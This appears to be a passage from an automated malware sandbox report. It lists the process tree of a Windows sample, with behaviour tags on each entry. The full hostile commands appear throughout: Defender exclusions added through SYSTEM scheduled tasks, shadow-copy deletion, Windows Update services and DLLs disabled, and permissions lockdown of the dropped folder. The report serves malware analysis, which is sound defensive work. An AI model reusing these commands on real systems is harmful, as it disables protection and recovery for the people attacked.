    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3876
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3632
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1120
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4716
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2740
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5268
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4916
- C:\Program Files (x86)\3BKYDt\o1NX3q.exe
  "C:\Program Files (x86)\3BKYDt\o1NX3q.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4580
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:2192
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:484
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:908
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1720
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5340
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3388
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3688
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\o1NX3q.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1784
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\o1NX3q.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:928
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\o1NX3q.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5800
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\o1NX3q.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3828
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\o1NX3q.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6092
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\o1NX3q.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2928
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1424
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2532
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2104
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4844
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3872
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1268
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4960
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4908
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2944
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3452
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2092
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5740
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3BKYDt\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2992
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3BKYDt\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5716
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2128
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4508
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:3736
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:824
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5696
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2772
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:956
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:2108
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4924
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:6120
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:4124
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:3508
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3436
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:964
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1492
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4260
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4416
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5704
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5036
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2952
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2740
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5656
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:5288
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3872
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3272
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2748
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4960
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4480
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2820
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3528
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\3BKYDt\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3704
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\3BKYDt\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4940
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3612
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3916
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4944
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5928
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5532
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4760
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:2412
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3888
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1140
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5200
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1136
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2520
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3448
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4780
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3172
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2988
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3556
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4948

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\v4Sbuu" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\v4Sbuu" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2820

C:\Users\Public\v4Sbuu\nrkfjc.exe
"C:\Users\Public\v4Sbuu\nrkfjc.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1932

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2364

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6028

